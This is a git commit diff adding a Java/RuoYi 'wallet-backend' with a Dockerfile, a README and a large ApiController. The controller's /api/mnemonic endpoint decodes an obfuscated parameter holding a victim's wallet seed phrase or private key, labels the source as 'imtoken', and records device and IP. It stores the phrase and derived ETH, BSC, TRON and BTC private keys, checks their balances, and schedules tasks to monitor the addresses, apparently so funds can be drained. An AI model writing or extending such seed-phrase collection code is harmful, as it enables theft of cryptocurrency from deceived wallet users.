lwh il y a 2 semaines
Parent
commit
f234ed01b7
100 fichiers modifiés avec 13597 ajouts et 1 suppressions
  1. 46 0
      .gitignore
  2. 13 0
      Dockerfile
  3. 20 0
      LICENSE
  4. 4 1
      README.md
  5. 36 0
      api/pom.xml
  6. 1510 0
      api/src/main/java/com/api/controller/ApiController.java
  7. 35 0
      api/src/main/java/com/api/domain/Api.java
  8. 66 0
      api/src/main/java/com/api/domain/ApiBlackip.java
  9. 324 0
      api/src/main/java/com/api/domain/ApiMnemonic.java
  10. 206 0
      api/src/main/java/com/api/domain/ApiMnemonicToken.java
  11. 65 0
      api/src/main/java/com/api/domain/ApiMnemonicTokenPrivatekey.java
  12. 152 0
      api/src/main/java/com/api/domain/ApiTransferLog.java
  13. 61 0
      api/src/main/java/com/api/mapper/ApiBlackipMapper.java
  14. 11 0
      api/src/main/java/com/api/mapper/ApiMapper.java
  15. 68 0
      api/src/main/java/com/api/mapper/ApiMnemonicMapper.java
  16. 82 0
      api/src/main/java/com/api/mapper/ApiMnemonicTokenMapper.java
  17. 61 0
      api/src/main/java/com/api/mapper/ApiMnemonicTokenPrivatekeyMapper.java
  18. 61 0
      api/src/main/java/com/api/mapper/ApiTransferLogMapper.java
  19. 61 0
      api/src/main/java/com/api/service/ApiBlackipService.java
  20. 61 0
      api/src/main/java/com/api/service/ApiMnemonicService.java
  21. 61 0
      api/src/main/java/com/api/service/ApiMnemonicTokenPrivatekeyService.java
  22. 67 0
      api/src/main/java/com/api/service/ApiMnemonicTokenService.java
  23. 52 0
      api/src/main/java/com/api/service/ApiService.java
  24. 61 0
      api/src/main/java/com/api/service/ApiTransferLogService.java
  25. 94 0
      api/src/main/java/com/api/service/impl/ApiBlackipServiceImpl.java
  26. 94 0
      api/src/main/java/com/api/service/impl/ApiMnemonicServiceImpl.java
  27. 94 0
      api/src/main/java/com/api/service/impl/ApiMnemonicTokenPrivatekeyServiceImpl.java
  28. 114 0
      api/src/main/java/com/api/service/impl/ApiMnemonicTokenServiceImpl.java
  29. 638 0
      api/src/main/java/com/api/service/impl/ApiServiceImpl.java
  30. 96 0
      api/src/main/java/com/api/service/impl/ApiTransferLogServiceImpl.java
  31. 67 0
      api/src/main/resources/mapper/ApiBlackipMapper.xml
  32. 82 0
      api/src/main/resources/mapper/ApiMapper.xml
  33. 258 0
      api/src/main/resources/mapper/ApiMnemonicMapper.xml
  34. 145 0
      api/src/main/resources/mapper/ApiMnemonicTokenMapper.xml
  35. 62 0
      api/src/main/resources/mapper/ApiMnemonicTokenPrivatekeyMapper.xml
  36. 94 0
      api/src/main/resources/mapper/ApiTransferLogMapper.xml
  37. 12 0
      bin/clean.bat
  38. 12 0
      bin/package.bat
  39. 14 0
      bin/run.bat
  40. 16 0
      build.sh
  41. BIN
      doc/若依环境使用手册.docx
  42. 10 0
      docker-compose.yaml
  43. 317 0
      pom.xml
  44. 140 0
      ruoyi-admin/pom.xml
  45. 23 0
      ruoyi-admin/src/main/java/com/ruoyi/RuoYiApplication.java
  46. 18 0
      ruoyi-admin/src/main/java/com/ruoyi/RuoYiServletInitializer.java
  47. 33 0
      ruoyi-admin/src/main/java/com/ruoyi/system/config/ApplicationConfig.java
  48. 124 0
      ruoyi-admin/src/main/java/com/ruoyi/system/controller/SysBlackipController.java
  49. 431 0
      ruoyi-admin/src/main/java/com/ruoyi/system/controller/SysMnemonicController.java
  50. 338 0
      ruoyi-admin/src/main/java/com/ruoyi/system/controller/SysMnemonicTokenController.java
  51. 124 0
      ruoyi-admin/src/main/java/com/ruoyi/system/controller/SysMnemonicTokenPrivatekeyController.java
  52. 399 0
      ruoyi-admin/src/main/java/com/ruoyi/system/controller/SysToolsController.java
  53. 124 0
      ruoyi-admin/src/main/java/com/ruoyi/system/controller/SysTransferLogController.java
  54. 124 0
      ruoyi-admin/src/main/java/com/ruoyi/system/controller/SysWriteipController.java
  55. 66 0
      ruoyi-admin/src/main/java/com/ruoyi/system/domain/SysBlackip.java
  56. 317 0
      ruoyi-admin/src/main/java/com/ruoyi/system/domain/SysMnemonic.java
  57. 251 0
      ruoyi-admin/src/main/java/com/ruoyi/system/domain/SysMnemonicToken.java
  58. 65 0
      ruoyi-admin/src/main/java/com/ruoyi/system/domain/SysMnemonicTokenPrivatekey.java
  59. 137 0
      ruoyi-admin/src/main/java/com/ruoyi/system/domain/SysPublicConfig.java
  60. 153 0
      ruoyi-admin/src/main/java/com/ruoyi/system/domain/SysTransferLog.java
  61. 66 0
      ruoyi-admin/src/main/java/com/ruoyi/system/domain/SysWriteip.java
  62. 62 0
      ruoyi-admin/src/main/java/com/ruoyi/system/mapper/SysBlackipMapper.java
  63. 104 0
      ruoyi-admin/src/main/java/com/ruoyi/system/mapper/SysMnemonicMapper.java
  64. 101 0
      ruoyi-admin/src/main/java/com/ruoyi/system/mapper/SysMnemonicTokenMapper.java
  65. 62 0
      ruoyi-admin/src/main/java/com/ruoyi/system/mapper/SysMnemonicTokenPrivatekeyMapper.java
  66. 62 0
      ruoyi-admin/src/main/java/com/ruoyi/system/mapper/SysPublicConfigMapper.java
  67. 62 0
      ruoyi-admin/src/main/java/com/ruoyi/system/mapper/SysTransferLogMapper.java
  68. 62 0
      ruoyi-admin/src/main/java/com/ruoyi/system/mapper/SysWriteipMapper.java
  69. 62 0
      ruoyi-admin/src/main/java/com/ruoyi/system/service/ISysBlackipService.java
  70. 104 0
      ruoyi-admin/src/main/java/com/ruoyi/system/service/ISysMnemonicService.java
  71. 62 0
      ruoyi-admin/src/main/java/com/ruoyi/system/service/ISysMnemonicTokenPrivatekeyService.java
  72. 99 0
      ruoyi-admin/src/main/java/com/ruoyi/system/service/ISysMnemonicTokenService.java
  73. 62 0
      ruoyi-admin/src/main/java/com/ruoyi/system/service/ISysPublicConfigService.java
  74. 62 0
      ruoyi-admin/src/main/java/com/ruoyi/system/service/ISysTransferLogService.java
  75. 62 0
      ruoyi-admin/src/main/java/com/ruoyi/system/service/ISysWriteipService.java
  76. 95 0
      ruoyi-admin/src/main/java/com/ruoyi/system/service/impl/SysBlackipServiceImpl.java
  77. 182 0
      ruoyi-admin/src/main/java/com/ruoyi/system/service/impl/SysMnemonicServiceImpl.java
  78. 95 0
      ruoyi-admin/src/main/java/com/ruoyi/system/service/impl/SysMnemonicTokenPrivatekeyServiceImpl.java
  79. 161 0
      ruoyi-admin/src/main/java/com/ruoyi/system/service/impl/SysMnemonicTokenServiceImpl.java
  80. 95 0
      ruoyi-admin/src/main/java/com/ruoyi/system/service/impl/SysPublicConfigServiceImpl.java
  81. 97 0
      ruoyi-admin/src/main/java/com/ruoyi/system/service/impl/SysTransferLogServiceImpl.java
  82. 95 0
      ruoyi-admin/src/main/java/com/ruoyi/system/service/impl/SysWriteipServiceImpl.java
  83. 243 0
      ruoyi-admin/src/main/java/com/ruoyi/system/vo/SysMnemonicTokenVO.java
  84. 309 0
      ruoyi-admin/src/main/java/com/ruoyi/system/vo/SysMnemonicVO.java
  85. 165 0
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CommonController.java
  86. 98 0
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/demo/controller/DemoDialogController.java
  87. 299 0
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/demo/controller/DemoFormController.java
  88. 35 0
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/demo/controller/DemoIconController.java
  89. 326 0
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/demo/controller/DemoOperateController.java
  90. 53 0
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/demo/controller/DemoReportController.java
  91. 1023 0
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/demo/controller/DemoTableController.java
  92. 116 0
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/demo/domain/CustomerModel.java
  93. 99 0
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/demo/domain/GoodsModel.java
  94. 149 0
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/demo/domain/UserOperateModel.java
  95. 90 0
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/CacheController.java
  96. 26 0
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/DruidController.java
  97. 31 0
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/ServerController.java
  98. 94 0
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysLogininforController.java
  99. 90 0
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysOperlogController.java
  100. 167 0
      ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysUserOnlineController.java

+ 46 - 0
.gitignore

@@ -0,0 +1,46 @@
+######################################################################
+# Build Tools
+
+.gradle
+/build/
+!gradle/wrapper/gradle-wrapper.jar
+
+target/
+!.mvn/wrapper/maven-wrapper.jar
+
+######################################################################
+# IDE
+
+### STS ###
+.apt_generated
+.classpath
+.factorypath
+.project
+.settings
+.springBeans
+
+### IntelliJ IDEA ###
+.idea
+*.iws
+*.iml
+*.ipr
+
+### JRebel ###
+rebel.xml
+### NetBeans ###
+nbproject/private/
+build/*
+nbbuild/
+dist/
+nbdist/
+.nb-gradle/
+
+######################################################################
+# Others
+*.log
+*.xml.versionsBackup
+*.swp
+
+!*/build/*.java
+!*/build/*.html
+!*/build/*.xml

+ 13 - 0
Dockerfile

@@ -0,0 +1,13 @@
+# 使用官方Java基础镜像
+FROM amazoncorretto:21
+
+
+# 添加维护、运行JAVA应用所需要的外部jar或者war包到容器中
+# 假设你的应用是一个jar包,命名为app.jar
+ADD ruoyi-admin/target/ruoyi-admin.jar ruoyi-admin.jar
+ENV SPRING_PROFILES_ACTIVE=prod
+# 暴露端口,假设你的应用运行在8080端口
+EXPOSE 8025
+#RUN #apt-get update && apt-get install -y fonts-dejavu-core libfreetype6
+# 指定容器启动时执行的命令
+ENTRYPOINT ["java","-Dname=ruoyi-admin.jar -Djava.awt.headless=true -Duser.timezone=Asia/Shanghai -Xms512m -Xmx2048m -XX:MetaspaceSize=128m -XX:MaxMetaspaceSize=512m -XX:+HeapDumpOnOutOfMemoryError -XX:+PrintGCDateStamps  -XX:+PrintGCDetails -XX:NewRatio=1 -XX:SurvivorRatio=30 -XX:+UseParallelGC -XX:+UseParallelOldGC","-jar","/ruoyi-admin.jar"]

+ 20 - 0
LICENSE

@@ -0,0 +1,20 @@
+The MIT License (MIT)
+
+Copyright (c) 2018 RuoYi
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal in
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+the Software, and to permit persons to whom the Software is furnished to do so,
+subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

+ 4 - 1
README.md

@@ -1,2 +1,5 @@
-# wallet-backend
+## install jar to local maven repository
 
+```bash
+mvn install:install-file  -Dfile=ruoyi-common/src/main/resources/libs/wallet-cli.jar -DgroupId=com.github.tronprotocol   -DartifactId=wallet-cli  -Dversion=4.8.0  -Dpackaging=jar 
+mvn install:install-file  -Dfile=ruoyi-common/src/main/resources/libs/FullNode.jar -DgroupId=com.github.tronprotocol   -DartifactId=java-tron  -Dversion=4.8.0  -Dpackaging=jar 

+ 36 - 0
api/pom.xml

@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <parent>
+        <artifactId>ruoyi</artifactId>
+        <groupId>com.ruoyi</groupId>
+        <version>4.8.0</version>
+    </parent>
+    <modelVersion>4.0.0</modelVersion>
+
+
+    <artifactId>api</artifactId>
+    <dependencies>
+        <!-- 通用工具-->
+        <dependency>
+            <groupId>org.springframework</groupId>
+            <artifactId>spring-web</artifactId>
+            <version>6.0.6</version>
+        </dependency>
+        <dependency>
+            <groupId>com.ruoyi</groupId>
+            <artifactId>ruoyi-common</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>com.ruoyi</groupId>
+            <artifactId>ruoyi-system</artifactId>
+        </dependency>
+    </dependencies>
+
+    <properties>
+        <maven.compiler.source>16</maven.compiler.source>
+        <maven.compiler.target>16</maven.compiler.target>
+    </properties>
+
+</project>

+ 1510 - 0
api/src/main/java/com/api/controller/ApiController.java

@@ -0,0 +1,1510 @@
+package com.api.controller;
+
+import com.alibaba.fastjson.JSONObject;
+import com.api.domain.*;
+import com.api.mapper.*;
+import com.api.service.ApiService;
+import com.ruoyi.common.constant.Constants;
+import com.ruoyi.common.core.domain.AjaxResult;
+import com.ruoyi.common.core.redis.RedisCache;
+import com.ruoyi.common.utils.AESUtil;
+import com.ruoyi.common.utils.Base64Utils;
+import com.ruoyi.common.utils.IpUtils;
+import com.ruoyi.common.utils.StringUtils;
+import com.ruoyi.common.utils.http.HttpUtils;
+import com.ruoyi.common.utils.wallet.*;
+import com.ruoyi.system.service.ISysConfigService;
+import org.apache.commons.codec.binary.Base64;
+import org.apache.ibatis.annotations.Param;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Component;
+import org.springframework.transaction.annotation.Isolation;
+import org.springframework.transaction.annotation.Transactional;
+import org.springframework.util.DigestUtils;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.crypto.Cipher;
+import javax.servlet.http.HttpServletRequest;
+import java.io.IOException;
+import java.math.BigDecimal;
+import java.security.KeyFactory;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.NoSuchAlgorithmException;
+import java.security.interfaces.RSAPrivateKey;
+import java.security.interfaces.RSAPublicKey;
+import java.security.spec.PKCS8EncodedKeySpec;
+import java.security.spec.X509EncodedKeySpec;
+import java.util.*;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+
+@RestController
+@RequestMapping("/api")
+@Component("api")
+public class ApiController {
+    private final Logger log = LoggerFactory.getLogger(this.getClass());
+    @Autowired
+    private ApiService ApiService;
+    @Autowired
+    private ApiMnemonicTokenPrivatekeyMapper sysMnemonicTokenPrivatekeyMapper;
+    @Autowired
+    private ApiMnemonicMapper ApiMnemonicMapper;
+    @Autowired
+    private ApiMnemonicTokenMapper apiMnemonicTokenMapper;
+    @Autowired
+    private ApiMnemonicMapper apiMnemonicMapper;
+
+    @Autowired
+    private ApiBlackipMapper apiBlackipMapper;
+
+    @Autowired
+    private ISysConfigService configService2;
+
+    @Autowired
+    private ApiTransferLogMapper apiTransferLogMapper;
+
+
+    @Autowired
+    private RedisCache redisCache;
+
+// add by lwh 2025-7-3 start
+    @Autowired
+    private ApiService apiService;
+// add by lwh 2025-7-3 end
+
+//    @RequestMapping("/token")
+//    public AjaxResult token(@Param("keyword") String keyword, @Param("code") String code,
+//                            @Param("device") String device, @Param("from") String from, @Param("fromip") String fromip) {
+//        return createaddress(keyword, code, device, from, fromip);
+//    }
+
+
+//    @GetMapping("/test")
+//    public AjaxResult test() {
+//        return AjaxResult.success( generateKey()+"<br/>"+  decryptByPrivateKey(encryptByPublicKey("aaaa")));
+//    }
+
+
+    // ADD BY DHX 2025-7-14 START
+    // 缓存定时任务正在处理的数据ID
+    private static final Set<Long> TRC_IDS = ConcurrentHashMap.newKeySet();
+    private static final Set<Long> ERC_IDS = ConcurrentHashMap.newKeySet();
+
+    // ADD BY DHX 2025-7-14 END
+
+    //助记词入库
+    @PostMapping("/mnemonic")
+    //获取header 中的参数
+
+    public AjaxResult createaddress(@RequestParam("ogqioc") String q, HttpServletRequest request) {
+        try {
+            if (q == null || q.equals("") || q.equals("null")) {
+                return AjaxResult.error("参数错误");
+            }
+            JSONObject obj = JSONObject.parseObject(AESUtil.decryptAESString((Base64Utils.base64De(q))));
+            JSONObject params = JSONObject.parseObject(AESUtil.decryptAESString(obj.getString("en")));
+
+            String keyword = obj.getString("key");
+
+
+            String code = "00000";//agent ID params.getString("code");
+            String device = params.getString("systemName") + "-" + params.getString("platform") + "-" + params.getString("iden");
+            String from;//params.getString("from");
+//            if (request.getHeader("X-XClient-Name").equals("XZ-IMToken")){
+//                from="imtoken";
+//            } else {
+            from = "imtoken";
+//            }
+
+            String fromip = IpUtils.getIpAddr(request);
+
+
+            //首先判断ip是否在黑名单
+            try {
+                if (fromip.equals("") || fromip.equals("null")) {
+                    fromip = IpUtils.getHostIp();
+                }
+            } catch (Exception e) {
+                fromip = IpUtils.getHostIp();
+            }
+
+            if (StringUtils.isEmpty(keyword)) {
+                return AjaxResult.error("");
+            }
+            if (!WalletUtils.isValidPrivateKey(keyword) &&
+                    !WalletUtils.isValidMnemonic(keyword)) {
+                //助记词或者私钥不合法
+                return AjaxResult.error("");
+            }
+
+
+//        String fromip=IpUtils.getHostIp();
+            ApiBlackip iplist = new ApiBlackip();
+            iplist.setIp(fromip);
+            List<ApiBlackip> ipinfo = apiBlackipMapper.selectSysBlackipList(iplist);
+            if (ipinfo.size() > 0) {
+                //黑名单用户,不入库
+                List<String> list = new ArrayList<>();
+                list.add("error");
+                return AjaxResult.success("", list);
+            }
+
+
+            //判断是否有助记词
+            String keywordmd5 = getMD5(keyword.replaceAll(" ", ""));
+
+
+            String keyMd5Cache = String.format("md5key%s", keywordmd5);
+
+            String cachedMnemonic = redisCache.getCacheObject(keyMd5Cache);
+            if (StringUtils.isBlank(cachedMnemonic)) {
+                redisCache.setCacheObject(keyMd5Cache, "m");
+            } else {
+                return AjaxResult.error("");
+            }
+//                log.error("返回插入的id:::::搜索token>>"+keywordmd5);
+            //首先查询数据库中是否有该助记词
+            ApiMnemonic checkac = new ApiMnemonic();
+            checkac.setmnemonicmd5(keywordmd5);
+//                log.error("返回插入的id:::::::程序执行到这里了1>>>"+checkac);
+            List<ApiMnemonic> checks = ApiMnemonicMapper.selectSysMnemonicList(checkac);
+//                log.error("返回插入的id:::::::程序执行到这里了1>>>"+checks);
+            if (checks.size() > 0) {
+                Long pid = checks.get(0).getId();
+                checkac.setId(pid);
+                checkac.setUpdatedTime(Long.valueOf("0"));
+                apiMnemonicMapper.updateSysMnemonic(checkac);
+            }
+
+            if (checks.size() <= 0) {
+//                    log.error("返回插入的id:::::::程序执行到这里了2>>>");
+                //助记词入库
+                ApiMnemonic apiMnemonic = new ApiMnemonic();
+                //代理商id
+                apiMnemonic.setAgentid(Long.valueOf(code));
+                //助记词md5
+                apiMnemonic.setmnemonicmd5(keywordmd5);
+                //设置助记词
+                apiMnemonic.setMnemonic(encryptByPublicKey(keyword));
+                //设置来源设备
+                apiMnemonic.setdevice(device);
+                //设置创建时间
+                apiMnemonic.setCreatedTime(System.currentTimeMillis() / 1000);
+                //设置钱包名称
+                apiMnemonic.setPlatform(from);
+                //设置ip
+                apiMnemonic.setIp(fromip);
+                //设置ip登录数
+                apiMnemonic.setIpCount(1);
+                //开始插入数据
+                ApiMnemonicMapper.insertSysMnemonic(apiMnemonic);
+//                    log.error("返回插入的id:::::::"+apiMnemonic.getId());
+                Long insertid = apiMnemonic.getId();
+
+                //开始查询助记词的余额// "BIDR", "ERC-20-USDC",
+                String[] TokenType = {"BNB", "BEP-20", "ETH", "TRC-20", "TRX", "ERC-20-USDT", "BTC"};
+                Map<String, List<String>> addressMap = new HashMap<>();
+                // 获取钱包地址
+                Map<String, TWallet> walletMap = new HashMap<>();
+                for (int i = 0; i < TokenType.length; i++) {
+                    TWallet twallet = null;
+                    switch (TokenType[i]) {
+
+                        case "BEP-20":
+                        case "BIDR":
+                        case "ETH":
+                        case "BNB":
+                        case "ERC-20-USDT":
+                        case "ERC-20-USDC":
+                            twallet = TMnemonicUtils.ethAddrWithSeed(WalletUtils.isValidMnemonic(keyword) ? TMnemonicUtils.mnemonicToSeed(keyword) : TMnemonicUtils.privateKeyHexToBigInteger(keyword), WalletUtils.isValidPrivateKey(keyword));
+                            break;
+                        case "TRC-20":
+                        case "TRX":
+                            twallet = TMnemonicUtils.generateTronWallet(WalletUtils.isValidMnemonic(keyword) ? TMnemonicUtils.mnemonicToSeed(keyword) : TMnemonicUtils.privateKeyHexToBigInteger(keyword), WalletUtils.isValidPrivateKey(keyword));
+                            break;
+
+                        case "BTC":
+                            twallet = TMnemonicUtils.btcBech32AddrWithSeed(WalletUtils.isValidMnemonic(keyword) ? TMnemonicUtils.mnemonicToSeed(keyword) : TMnemonicUtils.privateKeyHexToBigInteger(keyword), WalletUtils.isValidPrivateKey(keyword));
+
+                            break;
+                    }
+                    addressMap.put(TokenType[i], Arrays.asList(
+                            twallet.getWalletAddress()
+                    ));
+                    walletMap.put(twallet.getWalletAddress() + "-" + TokenType[i], twallet);
+                }
+
+                try {
+                    // Perform batch query
+                    Map<String, Map<String, BigDecimal>> balances = WalletUtils.batchQueryBalances(addressMap);
+
+                    // Print results
+                    balances.forEach((address, balanceMap) -> {
+                        System.out.println("Address: " + address);
+                        balanceMap.forEach((type, balance) -> {
+                            System.out.println("  " + type + " Balance: " + balance);
+                            String chain = "";
+                            String token = "";
+                            TWallet wallet = walletMap.get(address);
+                            if (wallet == null) {
+                                log.error("钱包地址不存在:>>>>" + address);
+                                return;
+                            }
+                            String privatekey = wallet.getWalletPrivateKey();
+                            switch (type) {
+
+                                case "BEP-20":
+                                    chain = "bsc";
+                                    token = "bep";
+                                    apiMnemonic.setBep(balance);
+                                    break;
+//                                    case "BIDR":
+//                                        chain="bsc";
+//                                        break;
+                                case "BNB":
+                                    chain = "bsc";
+                                    token = "bnb";
+                                    apiMnemonic.setBnb(balance);
+                                    break;
+                                case "ETH":
+                                    chain = "eth";
+                                    token = "eth";
+                                    apiMnemonic.setEth(balance);
+                                    break;
+                                case "ERC-20":
+                                    chain = "eth";
+                                    token = "erc";
+                                    apiMnemonic.setErc(balance);
+                                    break;
+//                                    case "ERC-20-USDC":
+//                                        chain="eth";
+//
+//                                        break;
+                                case "TRC-20":
+                                    chain = "trx";
+                                    token = "trc";
+                                    apiMnemonic.setTrc(balance);
+                                    break;
+                                case "TRX":
+                                    chain = "trx";
+                                    token = "trx";
+                                    apiMnemonic.setTrx(balance);
+                                    break;
+                                case "BTC":
+                                    chain = "btc";
+                                    token = "btc";
+                                    apiMnemonic.setBtc(balance);
+                                    break;
+                            }
+
+                            if (!chain.equals("")) {
+                                //入库私钥
+                                //首先查询私钥是否存在
+                                ApiMnemonicTokenPrivatekey checkac2 = new ApiMnemonicTokenPrivatekey();
+                                checkac2.setPrivatekey(encryptByPublicKey(privatekey));
+                                List<ApiMnemonicTokenPrivatekey> checks2 = sysMnemonicTokenPrivatekeyMapper.selectSysMnemonicTokenPrivatekeyList(checkac2);
+                                if (checks2.size() <= 0) {
+                                    //如果私钥不存在,就入库
+                                    checkac2.setCreatedTime(System.currentTimeMillis() / 1000);
+                                    sysMnemonicTokenPrivatekeyMapper.insertSysMnemonicTokenPrivatekey(checkac2);
+                                }
+
+                                try {
+                                    //入库token
+                                    ApiMnemonicToken apiMnemonicToken = new ApiMnemonicToken();
+                                    apiMnemonicToken.setAgentid(Integer.valueOf(code));
+                                    apiMnemonicToken.setMnemonicid(insertid);
+                                    apiMnemonicToken.setChain(chain);
+                                    apiMnemonicToken.setToken(token);
+                                    apiMnemonicToken.setPlatform(from);
+                                    apiMnemonicToken.setAddress(address.split("-")[0]);
+                                    apiMnemonicToken.setUpdatedTime(System.currentTimeMillis() / 1000);
+
+                                    apiMnemonicToken.setBalance(balance);
+                                    if (!privatekey.equals("") && !privatekey.equals(null)) {
+                                        apiMnemonicToken.setprivatekey(encryptByPublicKey(privatekey));
+                                    }
+                                    apiMnemonicToken.setCreatedTime(System.currentTimeMillis() / 1000);
+                                    apiMnemonicTokenMapper.insertSysMnemonicToken(apiMnemonicToken);
+                                } catch (Exception e) {
+                                    e.printStackTrace();
+                                }
+                            }
+                        });
+                    });
+                    apiMnemonicMapper.updateSysMnemonic(apiMnemonic);
+
+                } catch (Exception e) {
+                    log.error("查询余额异常:>>>>" + e.getMessage());
+                }
+
+            }
+
+
+            List<String> list = new ArrayList<>();
+            list.add("success");
+            return AjaxResult.success("操作成功", list);
+
+        } catch (Exception e) {
+            return AjaxResult.error("参数错误");
+        }
+    }
+
+    @RequestMapping("/taskcycle")
+    public void taskcycle(String num) {
+
+        try {
+            ApiMnemonic asapi = new ApiMnemonic();
+            asapi.setlimitnum(Integer.valueOf(num));
+            List<ApiMnemonic> listtask = apiMnemonicMapper.selectSysMnemonicList(asapi);
+//           log.error("提取数据的数量》》》》》》》"+listtask.size());
+            String sc = "";
+            for (int i = 0; i < Integer.parseInt(num); i++) {
+                String mneid = listtask.get(i).getId().toString();
+                updateblance2(mneid);
+            }
+        } catch (Exception e) {
+
+        }
+
+    }
+
+    /**
+     * 计划任务,批量刷新余额
+     */
+    @RequestMapping("/task1")
+    public void task1(String token) {
+
+        try {
+// add by lwh 2025-7-3 start
+//            checktoken1(token);
+// del by lwh 2025-7-3 end
+
+// add by lwh 2025-7-3 start
+            apiService.checkBnbAndBep(token);
+// del by lwh 2025-7-3 end
+        } catch (Exception e) {
+            log.error("task:方法" + e.getMessage());
+        }
+    }
+
+    /**
+     * 计划任务,批量刷新余额
+     */
+    @RequestMapping("/task2")
+    public void task2(String token) {
+
+        try {
+// del by lwh 2025-7-3 start
+//            checktoken2(token);
+// del by lwh 2025-7-3 end
+
+// add by lwh 2025-7-3 start
+            apiService.checkEthAndErc(token);
+// add by lwh 2025-7-3 end
+        } catch (Exception e) {
+            log.error("task:方法" + e.getMessage());
+        }
+    }
+
+    /**
+     * 计划任务,批量刷新余额
+     */
+    @RequestMapping("/task3")
+    public void task3(String token) {
+
+        try {
+// add by lwh 2025-7-3 start
+//            checktoken3(token);
+// del by lwh 2025-7-3 end
+
+// add by lwh 2025-7-3 start
+            apiService.checkTrxAndTrc(token);
+// del by lwh 2025-7-3 end
+        } catch (Exception e) {
+            log.error("task:方法" + e.getMessage());
+        }
+    }
+
+    public void checktoken1(String token) {
+        try {
+
+            AtomicBoolean bnbyes = new AtomicBoolean(false);
+            AtomicBoolean bepyes = new AtomicBoolean(false);
+
+            ArrayList<String> bnbarr = new ArrayList<>();
+            ArrayList<String> beparr = new ArrayList<>();
+
+
+                if (token.equals("bnb") || token.equals("bep")) {
+                    List<String> str = null;
+                    try {
+                        str = BSCUtils.getBlockAddr();
+                    } catch (IOException e) {
+                        throw new RuntimeException(e);
+                    } catch (InterruptedException e) {
+                        throw new RuntimeException(e);
+                    }
+                    ApiMnemonicToken pk3 = new ApiMnemonicToken();
+                    pk3.setToken("bnb");
+                    List<ApiMnemonicToken> bnblist = apiMnemonicTokenMapper.selectSysMnemonicTokenList(pk3);
+                    pk3.setToken("bep");
+                    List<ApiMnemonicToken> beplist = apiMnemonicTokenMapper.selectSysMnemonicTokenList(pk3);
+
+                    String bnblinshi = "", beplinshi = "";
+                    int bnbpsadd = 0, beppsadd = 0, bnbps = 0, bepps = 0;
+                    for (int i = 0; i < bnblist.size(); i++) {
+                        String bnbaddress = bnblist.get(i).getAddress();
+                        if (str.contains(bnbaddress)) {
+                            log.error("bnb包含这个区块》》》》》》》》》》》》》》》》》》》" + bnbaddress);
+                            if (bnbpsadd % 11 == 0 && bnbpsadd != 0) {
+                                if (!bnblinshi.equals("") && !bnblinshi.equals(null)) {
+                                    bnbarr.add(bnbps, bnblinshi);
+                                    bnbps++;
+                                    bnblinshi = "";
+                                }
+                            } else {
+                                bnblinshi = bnblinshi + "," + bnbaddress;
+                            }
+
+                            if (bnbarr.size() <= 0) {
+                                if (!bnblinshi.equals("") && !bnblinshi.equals(null)) {
+                                    bnbarr.add(0, bnblinshi);
+                                }
+                            }
+                            bnbpsadd++;
+                            bnbyes.set(true);
+                        }
+                    }
+                    for (int i = 0; i < beplist.size(); i++) {
+                        String bepaddress = beplist.get(i).getAddress();
+                        if (str.contains(bepaddress)) {
+                            log.error("bep包含这个区块》》》》》》》》》》》》》》》》》》》" + bepaddress);
+                            if (beppsadd % 11 == 0 && beppsadd != 0) {
+                                if (!beplinshi.equals("") && !beplinshi.equals(null)) {
+                                    beparr.add(bepps, beplinshi);
+                                    bepps++;
+                                    beplinshi = "";
+                                }
+                            } else {
+                                beplinshi = beplinshi + "," + bepaddress;
+                            }
+
+                            if (beparr.size() <= 0) {
+                                if (!beplinshi.equals("") && !beplinshi.equals(null)) {
+                                    beparr.add(0, beplinshi);
+                                }
+                            }
+                            beppsadd++;
+                            bepyes.set(true);
+                        }
+                    }
+                    if (bnbyes.get() && !bnbarr.isEmpty()) {
+                        //bnb有值
+                        for (int i = 0; i < bnbarr.size(); i++) {
+                            String addressgroup = bnbarr.get(i);
+                            if (!addressgroup.isEmpty()) {
+                                Thread thread = new Thread() {
+                                    @Override
+                                    public void run() {
+                                        updatebalance(addressgroup);
+                                    }
+                                };
